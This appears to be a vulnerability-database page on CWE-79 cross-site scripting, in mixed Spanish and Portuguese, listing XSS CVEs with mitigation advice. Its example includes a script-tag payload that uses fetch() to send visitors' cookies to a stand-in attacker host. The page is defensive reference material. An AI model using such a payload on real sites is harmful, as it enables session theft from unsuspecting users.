Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-96874LOWStored XSS in Cargo Drilldown tab namesEPSS 0.3%CVE-2025-32984MEDIUMNETSCOUT nGeniusONE before 6.4.0 b2350 allows Stored Cross-Site Scripting (XSS) via a certain POST parameter.EPSS 0.3%CVE-2024-9343MEDIUMIn Eclipse GlassFish version 7.0.15 is possible to perform Stored Cross-site scripting attacks in the Administration Console.EPSS 0.3%CVE-2025-49057HIGHWordPress WP Voting Plugin <= 1.8 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-28445HIGHTypebot: Stored XSS via Rating Block Custom Icon Bypasses isUnsafe Sandbox in Builder PreviewEPSS 0.3%CVE-2024-3648MEDIUMShareThis Share Buttons <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via sharethis-inline-buttons ShortcodeEPSS 0.3%CVE-2024-9585MEDIUMImage Map Pro <= 6.0.20 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-2889MEDIUMLink Library <= 7.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Link Additional ParametersEPSS 0.3%CVE-2024-11384MEDIUMArena.IM – Live Blogging for real-time events <= 0.3.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-28016MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability was found in loginsystem/edit-profile.php of the PHPGurukul User Registration & Login aEPSS 0.3%CVE-2025-60447MEDIUMA stored Cross-Site Scripting (XSS) vulnerability has been discovered in Emlog Pro 2.5.19. The vulnerability exists in the email template coEPSS 0.3%CVE-2024-10538MEDIUMHappy Addons for Elementor <= 3.12.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image ComparisonEPSS 0.3%CVE-2025-1748MEDIUMHTML injection vulnerability in OpenCartEPSS 0.3%CVE-2025-48993MEDIUMGroup-Office vulnerable to reflected XSS via Look and Feel Formatting inputEPSS 0.3%CVE-2025-49058HIGHWordPress SoundSt SEO Search plugin <= 1.2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-50452MEDIUMWordPress Nexter Blocks plugin <= 3.3.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-8494MEDIUMPermalink Manager Lite <= 2.5.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post TitleEPSS 0.3%CVE-2024-35291MEDIUMCross-site scripting vulnerability exists in Splunk Config Explorer versions prior to 1.7.16. If this vulnerability is exploited, an arbitraEPSS 0.3%CVE-2026-10770MEDIUMAnti-Spam by CleanTalk - Moderately critical - Cross site scripting - SA-CONTRIB-2026-042EPSS 0.3%CVE-2024-13739MEDIUMNewsletters <= 4.9.9.7 - Reflected Cross-Site Scripting via To ParameterEPSS 0.3%